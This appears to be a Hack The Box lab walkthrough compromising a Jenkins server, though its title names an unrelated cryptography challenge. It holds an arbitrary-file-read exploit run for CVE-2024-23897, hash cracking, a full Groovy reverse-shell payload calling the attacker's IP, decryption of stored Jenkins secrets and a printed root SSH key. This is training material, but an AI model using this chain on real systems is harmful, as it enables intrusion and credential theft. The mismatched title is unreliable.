HTB Brevi Moduli Solution (Without SageMath)
HTB Cryptography Challenge
# Step 1 - Find active ports
nmap -p- --min-rate 10000 10.129.202.174
# Step 2 - Focus scan on the active ports found (Note: In this case is important to use -T4 to make the scan succeed)
nmap -A -T4 -Pn -p22,8080 10.129.202.174
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 22:09 EST
Nmap scan report for 10.129.202.174
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open http Jetty 10.0.18
|_http-server-header: Jetty(10.0.18)
|_http-title: Dashboard [Jenkins]
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.90 seconds
If we examine the Nmap results, we can see that there are only two ports open. Port 22 would allow us SSH access if we had valid credentials. The Port 8080 seems be HTTP web access to Jenkins.
Let’s visit Port 8080 with our web browser:
http://10.129.202.174:8080
Upon visiting the URL above, we will be welcomed with a Jenkins dashboard. If we click on People, we will see only one user called jennifer:
http://10.129.202.174:8080/asynchPeople/
The build history is empty:
http://10.129.202.174:8080/view/all/builds
And if we take a look at credentials, there is a root SSH key, which we cant access:
http://10.129.202.174:8080/credentials/
Using Google for a way to identify Jenkins, we found out that the head of HTTP request should contain the Jenkins version. This means we will need to capture the HTTP request using Burp Suite to be able to detect the version.
Capture the request when visiting the website, it will look like this:
GET / HTTP/1.1
Host: 10.129.202.174:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID.7500fe28=node07zte3xql3oir1ttrmhel95sgg36.node0
Upgrade-Insecure-Requests: 1
Send the request to Burp Suite Repeater and click on Send there to get a Response. The Response will look like this:
HTTP/1.1 200 OK
Date: Sat, 09 Nov 2024 03:22:59 GMT
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Expires: 0
Cache-Control: no-cache,no-store,must-revalidate
X-Hudson-Theme: default
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
X-Hudson: 1.395
X-Jenkins: 2.441
X-Jenkins-Session: 0f84576b
X-Frame-Options: sameorigin
X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuoLwaR1Kews72rSEsEkyDUFAKfX2Wk1mS06hi9A56Bx34LBdMQK3n6yCy0nJaT/KJcSx5hXA6DA1yNKWevPUO9nmgDZWaKxDhW/3uLvFtW68YnadxFiP7HLnRNulCWkaHgVIW/71MPrR9jOfjQ/BLPjBCBkLAdBsrCVrZ0/A/yj6H8YBGQIDk8hRjsqtMM0EBPzH/TylyC7DmHWtIkZqvLH7PKTycZ54Lcv9i9NVd/cLBZjEyzUua6n28OVsZif9yQ41qPmzwRlhZ7DAKi1wI48T+FatD9gz8v6KtjkftDht3CyT+GLYwUPy7z501y/RoOzldBpY2tgxvNTpIQgoDwIDAQAB
Content-Length: 14975
Server: Jetty(10.0.18)
Now we need to examine X-Jenkins. This will tell you that the version of Jenkins is the 2.441.
There is an easier way to enumerate Jenkins version, at the bottom right corner of the website near REST API it says Jenkins 2.441, but I thought it is still important to know we can find out the version of Jenkins using Burp Suite to examine the HTTP request.
If we google “jenkins 2.441 exploit”, we will find CVE-2024-23897.
We were also able to find a PoC for this CVE on GitHub:
https://github.com/godylockz/CVE-2024-23897
Searching for more information about this CVE, we now know that this CVE will allow us to carry out Arbitrary File Read. Let’s try to read the contents of /etc/passwd using it:
# First download it
git clone https://github.com/godylockz/CVE-2024-23897
cd CVE-2024-23897/
# After taking a look at the documentation, we found a way to run the exploit
python3 jenkins_fileread.py -u http://10.129.202.174:8080/ -f /etc/passwd
The exploit allowed us to read the contents of /etc/passwd successfully:
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
On the documentation of the exploit, its also mentioned in which files we could find interesting information:
/proc/self/environ
Environmental variables including JENKINS_HOME
/proc/self/cmdline
Command-line arguments/etc/hosts
Linux local-DNS resolution/etc/passwd
Linux user accounts/var/jenkins_home/users/users.xml
User account storage locations/var/jenkins_home/users/<user_directory>/config.xml
User BCrypt password hash/var/jenkins_home/secrets/master.key
Encryption secret keyI used the following command to enumerate users:
python3 jenkins_fileread.py -u http://10.129.202.174:8080/ -f /var/jenkins_home/users/users.xml
It gave us a valid user as result:
<?xml version='1.1' encoding='UTF-8'?>
<string>jennifer_12108429903186576833</string>
<idToDirectoryNameMap class=
<entry>
<string>jennifer</string>
<version>1</version>
</hudson.model.UserIdMapper>
</idToDirectoryNameMap>
<hudson.model.UserIdMapper>
</entry>
We can now try to get the BCrypt password hash for the user jennifer_12108429903186576833 like mentioned on the exploit documentation:
python3 jenkins_fileread.py -u http://10.129.202.174:8080/ -f /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
Nice! We got the BCrypt password hash on the results after running the command above:
<SNIP>
<?xml version='1.1' encoding='UTF-8'?>
<fullName>jennifer</fullName>
<seed>6841d11dc1de101d</seed>
<id>jennifer</id>
<version>10</version>
<tokenStore>
<filterExecutors>false</filterExecutors>
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin=
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>
Searching on the hashcat example website we managed to identify the bcrypt -m mode as -m 3200:
https://hashcat.net/wiki/doku.php?id=example_hashes
We were able to crack it successfully using the following command:
hashcat -m 3200 jennifer_hash.txt /usr/share/wordlists/rockyou.txt
Now we got the following credentials:
# Username
jennifer
# Password
princess
We can use the credentials we got to access Jenkins as jennifer.
Visit the Jenkins website and click on log in at the top right corner of the website, it will lead us to the following URL:
http://10.129.202.174:8080/login
Enter the credentials of jennifer there.
After logging in, we can try to get a reverse shell.
To do that, we will go to Manage Jenkins -> Script Console (Scroll down to find it) and we will enter the following Groovy reverse shell payload there with the tun0 IP of our Kali and port of our nc listener:
# Start nc listener on Kali first
nc -lvnp 8443
# Enter this Groovy reverse shell on the script console (We can get it from revshells.com if we search Groovy there)
String host="10.10.14.206";int port=8443;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Nice! We got a response in our nc listener. But we cant upgrade the shell with python, so our shell is not that interactive, but enough to get the user.txt flag.
Since we dont know where the user.txt flag is, we will use the following command to find it:
find / -name "user.txt" 2>/dev/null
The command above gave us the location of the user.txt flag, now we can get it:
cat /var/jenkins_home/user.txt
From our initial enumeration, we know that there is a SSH root key we could access. If we hoover over the jennifer username (Top Right corner) and click on Credentials, we will land on the following URL:
http://10.129.202.174:8080/user/jennifer/credentials/
If we go to the root SSH key and click on update, we will see it hidden behind Concealed for Confidentiality:
http://10.129.202.174:8080/manage/credentials/store/system/domain/_/credential/1/update
However, if we do right-click -> Inspect on it and open the div class=”secret-legend”, we will see the following encrypted field:
<input name="_.privateKey" type="hidden" value="{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEYDqj5frZLuo4qcqH61hjEUdZtkPiX6buY1J4YKYFziwyFA1wH/X5XHjUb8lUYkf/XSuDhR5tIpVWwkk7l1FTYwQQl/i5MOTww3b1QNzIAIv41KLKDgsq4WUAS5RBt4OZ7v410VZgdVDDciihmdDmqdsiGUOFubePU9a4tQoED2uUHAWbPlduIXaAfDs77evLh98/INI8o/A+rlX6ehT0K40cD3NBEF/4Adl6BOQ/NSWquI5xTmmEBi3NqpWWttJl1q9soOzFV0C4mhQiGIYr8TPDbpdRfsgjGNKTzIpjPPmRr+j5ym5noOP/LVw09+AoEYvzrVKlN7MWYOoUSqD+C9iXGxTgxSLWdIeCALzz9GHuN7a1tYIClFHT1WQpa42EqfqcoB12dkP74EQ8JL4RrxgjgEVeD4stcmtUOFqXU/gezb/oh0Rko9tumajwLpQrLxbAycC6xgOuk/leKf1gkDOEmraO7uiy2QBIihQbMKt5Ls+l+FLlqlcY4lPD+3Qwki5UfNHxQckFVWJQA0zfG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JfbFMqjHjHBlDY/MCkU89l6p/xk6JMH+9SWaFlTkjwshZDA/oO/E9Pump5GkqMIw3V/7O1fRO/dR/Rq3RdCtmdb3bWQKIxdYSBlXgBLnVC7O90Tf12P0+DMQ1UrT7PcGF22dqAe6VfTH8wFqmDqidhEdKiZYIFfOhe9+u3O0XPZldMzaSLjj8ZZy5hGCPaRS613b7MZ8JjqaFGWZUzurecXUiXiUg0M9/1WyECyRq6FcfZtza+q5t94IPnyPTqmUYTmZ9wZgmhoxUjWm2AenjkkRDzIEhzyXRiX4/vD0QTWfYFryunYPSrGzIp3FhIOcxqmlJQ2SgsgTStzFZz47Yj/ZV61DMdr95eCo+bkfdijnBa5SsGRUdjafeU5hqZM1vTxRLU1G7Rr/yxmmA5mAHGeIXHTWRHYSWn9gonoSBFAAXvj0bZjTeNBAmU8eh6RI6pdapVLeQ0tEiwOu4vB/7mgxJrVfFWbN6w8AMrJBdrFzjENnvcq0qmmNugMAIict6hK48438fb+BX+E3y8YUN+LnbLsoxTRVFH/NFpuaw+iZvUPm0hDfdxD9JIL6FFpaodsmlksTPz366bcOcNONXSxuD0fJ5+WVvReTFdi+agF+sF2jkOhGTjc7pGAg2zl10O84PzXW1TkN2yD9YHgo9xYa8E2k6pYSpVxxYlRogfz9exupYVievBPkQnKo1Qoi15+eunzHKrxm3WQssFMcYCdYHlJtWCbgrKChsFys4oUE7iW0YQ0MsAdcg/hWuBX878aR+/3HsHaB1OTIcTxtaaMR8IMMaKSM=}">
We can reveal the root SSH key if we go to the Script Console and use println(hudson.util.Secret.decrypt(“encrypted_content”)) on it like this:
println(hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEYDqj5frZLuo4qcqH61hjEUdZtkPiX6buY1J4YKYFziwyFA1wH/X5XHjUb8lUYkf/XSuDhR5tIpVWwkk7l1FTYwQQl/i5MOTww3b1QNzIAIv41KLKDgsq4WUAS5RBt4OZ7v410VZgdVDDciihmdDmqdsi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oi15+eunzHKrxm3WQssFMcYCdYHlJtWCbgrKChsFys4oUE7iW0YQ0MsAdcg/hWuBX878aR+/3HsHaB1OTIcTxtaaMR8IMMaKSM=}"))
After entering the command above on the Script Console, we got the following SSH key as a result:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt3G9oUyouXj/0CLya9Wz7Vs31bC4rdvgv7n9PCwrApm8PmGCSLgv
Up2m70MKGF5e+s1KZZw7gQbVHRI0U+2t/u8A5dJJsU9DVf9w54N08IjvPK/cgFEYcyRXWA
EYz0+41fcDjGyzO9dlNlJ/w2NRP2xFg4+vYxX+tpq6G5Fnhhd5mCwUyAu7VKw4cVS36CNx
vqAC/KwFA8y0/s24T1U/sTj2xTaO3wlIrdQGPhfY0wsuYIVV3gHGPyY8bZ2HDdES5vDRpo
Fzwi85aNunCzvSQrnzpdrelqgFJc3UPV8s4yaL9JO3+s+akLr5YvPhIWMAmTbfeT3BwgMD
vUzyyF8wzh9Ee1J/6WyZbJzlP/Cdux9ilD88piwR2PulQXfPj6omT059uHGB4Lbp0AxRXo
L0gkxGXkcXYgVYgQlTNZsK8DhuAr0zaALkFo2vDPcCC1sc+FYTO1g2SOP4shZEkxMR1To5
yj/fRqtKvoMxdEokIVeQesj1YGvQqGCXNIchhfRNAAAFiNdpesPXaXrDAAAAB3NzaC1yc2
EAAAGBALdxvaFMqLl4/9Ai8mvVs+1bN9WwuK3b4L+5/TwsKwKZvD5hgki4L1Kdpu9DChhe
XvrNSmWcO4EG1R0SNFPtrf7vAOXSSbFPQ1X/cOeDdPCI7zyv3IBRGHMkV1gBGM9PuNX3A4
xsszvXZTZSf8NjUT9sRYOPr2MV/raauhuRZ4YXeZgsFMgLu1SsOHFUt+gjcb6gAvysBQPM
tP7NuE9VP7E49sU2jt8JSK3UBj4X2NMLLmCFVd4Bxj8mPG2dhw3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AMYWPakheyHr8ggD
Ap3S6C6It9eIeK9GiR8row8DWwF5PeArC/uDYqE7AZ18qxJjl6yKZdgSOxT4TKHyKO76lU
1eYkNfDcCr1AE1SEDB9X0MwLqaHz0uZsU3/30UcFVhwe8nrDUOjm/TtSiwQexQOIJGS7hm
kf/kItJ6MLqM//+tkgYcOniEtG3oswTQPsTvL3ANSKKbdUKlSFQwTMJfbQeKf/t9FeO4lj
evzavyYcyj1XKmOPMi0l0wVdopfrkOuQAAAMEA7ROUfHAI4Ngpx5Kvq7bBP8mjxCk6eraR
aplTGWuSRhN8TmYx22P/9QS6wK0fwsuOQSYZQ4LNBi9oS/Tm/6Cby3i/s1BB+CxK0dwf5t
QMFbkG/t5z/YUA958Fubc6fuHSBb3D1P8A7HGk4fsxnXd1KqRWC8HMTSDKUP1JhPe2rqVG
P3vbriPPT8CI7s2jf21LZ68tBL9VgHsFYw6xgyAI9k1+sW4s+pq6cMor++ICzT++CCMVmP
iGFOXbo3+1sSg1AAAADHJvb3RAYnVpbGRlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
We can put that key inside a text file on Kali and name it id_rsa.
After that, run the following commands to get access as root:
sudo chmod 600 id_rsa
sudo ssh -i id_rsa root@10.129.202.174
Now we can get the root.txt flag:
cat /root/root.txt